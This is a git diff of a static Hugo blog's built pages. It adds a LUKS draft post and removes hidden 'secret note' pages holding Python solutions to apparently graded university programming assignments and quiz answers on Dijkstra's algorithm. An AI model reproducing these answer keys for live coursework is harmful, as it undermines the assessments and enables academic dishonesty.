</span></span><span style=display:flex><span> Rx <span style=color:#f92672>=</span> Px[mid:]
|
||||
</span></span><span style=display:flex><span> mid_point <span style=color:#f92672>=</span> Qx[<span style=color:#f92672>-</span><span style=color:#ae81ff>1</span>][<span style=color:#ae81ff>0</span>]
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> Qy <span style=color:#f92672>=</span> []
|
||||
</span></span><span style=display:flex><span> Ry <span style=color:#f92672>=</span> []
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> p <span style=color:#f92672>in</span> Py:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> p[<span style=color:#ae81ff>0</span>] <span style=color:#f92672><=</span> mid_point:
|
||||
</span></span><span style=display:flex><span> Qy<span style=color:#f92672>.</span>append(p)
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>else</span>:
|
||||
</span></span><span style=display:flex><span> Ry<span style=color:#f92672>.</span>append(p)
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> Sy <span style=color:#f92672>=</span> [p <span style=color:#66d9ef>for</span> p <span style=color:#f92672>in</span> Py <span style=color:#66d9ef>if</span> mid_point <span style=color:#f92672>-</span> min_d <span style=color:#f92672><=</span> p[<span style=color:#ae81ff>0</span>] <span style=color:#f92672><=</span> mid_point <span style=color:#f92672>+</span> min_d]
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(len(Sy)):
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> j <span style=color:#f92672>in</span> range(i <span style=color:#f92672>+</span> <span style=color:#ae81ff>1</span>, len(Sy)):
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> Sy[j][<span style=color:#ae81ff>1</span>] <span style=color:#f92672>-</span> Sy[i][<span style=color:#ae81ff>1</span>] <span style=color:#f92672>>=</span> min_d:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>break</span>
|
||||
</span></span><span style=display:flex><span> min_d <span style=color:#f92672>=</span> min(min_d, dist(Sy[i], Sy[j]))
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> min_d
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>minDistance</span>(points):
|
||||
</span></span><span style=display:flex><span> Px <span style=color:#f92672>=</span> sorted(points, key<span style=color:#f92672>=</span><span style=color:#66d9ef>lambda</span> p: p[<span style=color:#ae81ff>0</span>])
|
||||
</span></span><span style=display:flex><span> Py <span style=color:#f92672>=</span> sorted(points, key<span style=color:#f92672>=</span><span style=color:#66d9ef>lambda</span> p: p[<span style=color:#ae81ff>1</span>])
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> round(closest_pair(Px, Py), <span style=color:#ae81ff>2</span>)
|
||||
</span></span></code></pre></div><h2 id=grpa-4>GRPA 4</h2><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>mid</span>(a):
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> len(a) <span style=color:#f92672><=</span> <span style=color:#ae81ff>7</span>:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> sorted(a)[len(a)<span style=color:#f92672>//</span><span style=color:#ae81ff>2</span>]
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> []
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> i <span style=color:#f92672>in</span> range(<span style=color:#ae81ff>0</span>,len(a), <span style=color:#ae81ff>7</span>):
|
||||
</span></span><span style=display:flex><span> m<span style=color:#f92672>.</span>append(mid(a[i:i<span style=color:#f92672>+</span><span style=color:#ae81ff>7</span>]))
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> mid(m)
|
||||
</span></span><span style=display:flex><span>
|
||||
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>MoM7Pos</span>(arr):
|
||||
</span></span><span style=display:flex><span> m <span style=color:#f92672>=</span> mid(arr)
|
||||
</span></span><span style=display:flex><span> pos <span style=color:#f92672>=</span> <span style=color:#ae81ff>0</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> x <span style=color:#f92672>in</span> arr:
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> x <span style=color:#f92672><</span> m:
|
||||
</span></span><span style=display:flex><span> pos <span style=color:#f92672>+=</span> <span style=color:#ae81ff>1</span>
|
||||
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> pos
|
||||
</span></span></code></pre></div></section><footer class=post-tags data-pagefind-meta=tags></footer></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
File diff suppressed because one or more lines are too long
12
index.html
12
index.html
@@ -1,4 +1,4 @@
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=./header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=./about/ aria-label=about style=--url:url(./about.svg)></a><a href=./art/ aria-label=art style=--url:url(./art.svg)></a><a href=./index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=./pagefind/pagefind-ui.css rel=stylesheet><script src=./pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/><h2>Working With LUKS File Stashes</h2></a><time>Jan 1, 2026 | 2 minutes read</time><br><a class=post-link aria-label="Working With LUKS File Stashes" href=https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/></a></article><article><a aria-label="Algebraic Python Enums" href=https://lavafroth.is-a.dev/post/algebraic-python-enums/><h2>Algebraic Python Enums</h2></a><time>Nov 2, 2025 | 5 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/python class=list-tag>Python</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/decorators class=list-tag>Decorators</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/algebraic-data-types class=list-tag>Algebraic Data Types</a>
|
||||
@@ -38,11 +38,5 @@
|
||||
<a href=https://lavafroth.is-a.dev/tags/automation class=list-tag>Automation</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/jellyfin class=list-tag>Jellyfin</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/photoprism class=list-tag>Photoprism</a>
|
||||
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
|
||||
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
|
||||
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><nav data-main><a href=#>Previous Page</a>
|
||||
<a href=./page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
<a class=post-link aria-label="A Tale of a Frugal Home Server" href=https://lavafroth.is-a.dev/post/a-tale-of-a-frugal-home-server/></a></article><nav data-main><a href=#>Previous Page</a>
|
||||
<a href=./page/2/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>© 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
|
||||
251
index.xml
251
index.xml
@@ -1,4 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lavafroth</title><link>https://lavafroth.is-a.dev/</link><description>Recent content on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 02 Nov 2025 19:08:46 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description><p>University has compelled me to use Python despite my preference for Rust,
|
||||
<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>lavafroth</title><link>https://lavafroth.is-a.dev/</link><description>Recent content on lavafroth</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Thu, 01 Jan 2026 07:24:36 +0530</lastBuildDate><atom:link href="https://lavafroth.is-a.dev/index.xml" rel="self" type="application/rss+xml"/><item><title>Working With LUKS File Stashes</title><link>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</link><pubDate>Thu, 01 Jan 2026 07:24:36 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/working-with-luks-file-stashes/</guid><description><p><code>THIS POST IS A DRAFT</code></p>
|
||||
<p>LUKS is an incredible solution for encrypting entire partitions in Linux.
|
||||
Often times, however, we can&rsquo;t afford to create new partitions inside a disk
|
||||
without having to completely format the drive anew.</p>
|
||||
<p>In this post, I will guide you through the process of creating and working
|
||||
with LUKS container files that are encrypted at rest and can be decrypted on
|
||||
demand with knowledge of the passphrase.</p></description></item><item><title>Algebraic Python Enums</title><link>https://lavafroth.is-a.dev/post/algebraic-python-enums/</link><pubDate>Sun, 02 Nov 2025 19:08:46 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/algebraic-python-enums/</guid><description><p>University has compelled me to use Python despite my preference for Rust,
|
||||
primarily due to the machine learning and data science hype. One
|
||||
Rust feature that I dearly miss is enumerable data types
|
||||
that can encapsulate various other data types.</p>
|
||||
@@ -9,246 +15,7 @@ versions, most tutorials will suggest <code>Union</code> types as th
|
||||
enums.</p>
|
||||
<blockquote>
|
||||
<p>I highly encourage you to try out the code snippets and follow along with this article.
|
||||
Use the collapse explanation button to copy multiple code blocks in one go.</p></description></item><item><title>note skta4v7n8h8</title><link>https://lavafroth.is-a.dev/skta4v7n8h8/</link><pubDate>Fri, 31 Oct 2025 20:24:35 +0530</pubDate><guid>https://lavafroth.is-a.dev/skta4v7n8h8/</guid><description><h1 id="grpa-1">GrPA 1</h1>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">from</span> typing <span style="color:#f92672">import</span> List
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">constructWord</span>(s: str, chunks: List[str]) <span style="color:#f92672">-&gt;</span> List[List[str]]:
|
||||
</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> {}
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">def</span> <span style="color:#a6e22e">solve</span>(remaining_suffix: str) <span style="color:#f92672">-&gt;</span> List[List[str]]:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [[]]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> remaining_suffix <span style="color:#f92672">in</span> memo:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> memo[remaining_suffix]
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> possible_combos <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> chunk <span style="color:#f92672">in</span> chunks:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> remaining_suffix<span style="color:#f92672">.</span>startswith(chunk):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> leftover_results <span style="color:#f92672">=</span> solve(remaining_suffix[len(chunk):])
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> leftover_results:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">continue</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> rest <span style="color:#f92672">in</span> leftover_results:
|
||||
</span></span><span style="display:flex;"><span> possible_combos<span style="color:#f92672">.</span>append([chunk] <span style="color:#f92672">+</span> rest)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> memo[remaining_suffix] <span style="color:#f92672">=</span> possible_combos
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> possible_combos
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> solve(s)
|
||||
</span></span></code></pre></div><h1 id="grpa-2">GrPA 2</h1>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> numpy <span style="color:#66d9ef">as</span> np
|
||||
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">MaxCoinPath</span>(M, x1, y1, x2, y2):
|
||||
</span></span><span style="display:flex;"><span> M <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>array(M, dtype<span style="color:#f92672">=</span>int)[x1:x2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, y1:y2<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>]
|
||||
</span></span><span style="display:flex;"><span> cost <span style="color:#f92672">=</span> np<span style="color:#f92672">.</span>zeros((M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>), dtype<span style="color:#f92672">=</span>int)
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">0</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(M<span style="color:#f92672">.</span>shape[<span style="color:#ae81ff">1</span>]<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>, <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>):
|
||||
</span></span><span style="display:flex;"><span> cost[i, j] <span style="color:#f92672">=</span> max(M[i, j] <span style="color:#f92672">+</span> cost[i<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>, j], M[i, j] <span style="color:#f92672">+</span> cost[i, j<span style="color:#f92672">+</span><span style="color:#ae81ff">1</span>])
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> cost[<span style="color:#ae81ff">0</span>,<span style="color:#ae81ff">0</span>]
|
||||
</span></span></code></pre></div><h1 id="grpa-3">GrPA 3</h1>
|
||||
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">LDS</span>(arr):
|
||||
</span></span><span style="display:flex;"><span> n <span style="color:#f92672">=</span> len(arr)
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> n <span style="color:#f92672">==</span> <span style="color:#ae81ff">0</span>:
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> []
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> memo <span style="color:#f92672">=</span> [<span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n
|
||||
</span></span><span style="display:flex;"><span> parent <span style="color:#f92672">=</span> [<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>] <span style="color:#f92672">*</span> n
|
||||
</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
|
||||
</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> i <span style="color:#f92672">in</span> range(n):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> j <span style="color:#f92672">in</span> range(i):
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> arr[i] <span style="color:#f92672">&lt;</span> arr[j] <span style="color:#f92672">and</span> memo[i] <span style="color:#f92672">&lt;</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>:
|
||||
</span></span><span style="display:flex;"><span> memo[i] <span style="color:#f92672">=</span> memo[j] <span style="color:#f92672">+</span> <span style="color:#ae81ff">1</span>
|
||||
</span></span><span style="display:flex;"><span> parent[i] <span style="color:#f92672">=</span> j
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> memo[i] <span style="color:#f92672">&gt;</span> max_len:
|
||||
</span></span><span style="display:flex;"><span> max_len <span style="color:#f92672">=</span> memo[i]
|
||||
</span></span><span style="display:flex;"><span> end_index <span style="color:#f92672">=</span> i
|
||||
</span></span><span style="display:flex;"><span>
|
||||
</span></span><span style="display:flex;"><span> subsequence <span style="color:#f92672">=</span> []
|
||||
</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> end_index
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> current_index <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>:
|
||||
</span></span><span style="display:flex;"><span> subsequence<span style="color:#f92672">.</span>append(arr[current_index])
|
||||
</span></span><span style="display:flex;"><span> current_index <span style="color:#f92672">=</span> parent[current_index]
|
||||
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> subsequence[::<span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>]
|
||||
</span></span></code></pre></div></description></item><item><title>secret note jfgp3d7rrx0</title><link>https://lavafroth.is-a.dev/jfgp3d7rrx0/</link><pubDate>Tue, 28 Oct 2025 16:09:00 +0530</pubDate><guid>https://lavafroth.is-a.dev/jfgp3d7rrx0/</guid><description><p>There will be an explanation for non-trivial questions.</p>
|
||||
<h1 id="activity-1">Activity 1</h1>
|
||||
<h2 id="1">1</h2>
|
||||
<p>Dijkstra&rsquo;s algorithm guarantees finding the shortest path from a single source to all other vertices under which of the following conditions?</p>
|
||||
<p><strong>Answer:</strong> All edge weights must be non-negative.</p>
|
||||
<h2 id="2">2</h2>
|
||||
<p>Consider an undirected graph with 5 vertices <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><msub><mi>V</mi><mn>0</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(V_0, V_1, V_2, V_3, V_4)</annotation></semantics></math></span>. At a certain point
|
||||
in Dijkstra&rsquo;s algorithm (starting from <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>V</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">V_0</annotation></semantics></math></span>), the current tentative distances are:
|
||||
<span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mi>i</mi><mi>s</mi><mi>t</mi><mo>=</mo><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mn>5</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mn>3</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mn>8</mn><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mn>10</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">dist = \{V_0:0, V_1:5, V_2:3, V_3:8, V_4:10\}</annotation></semantics></math></span>. And the processed set is: <span class="katex"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">{</mo><msub><mi>V</mi><mn>0</mn></msub><mo>:</mo><mi>T</mi><mi>r</mi><mi>u</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>1</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>2</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>3</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo separator="true">,</mo><msub><mi>V</mi><mn>4</mn></msub><mo>:</mo><mi>F</mi><mi>a</mi><mi>l</mi><mi>s</mi><mi>e</mi><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">\{V_0:True,
|
||||
V_1:False, V_2:False, V_3:False, V_4:False\}</annotation></semantics></math></span>. Assuming the next step is to select an unvisited
|
||||
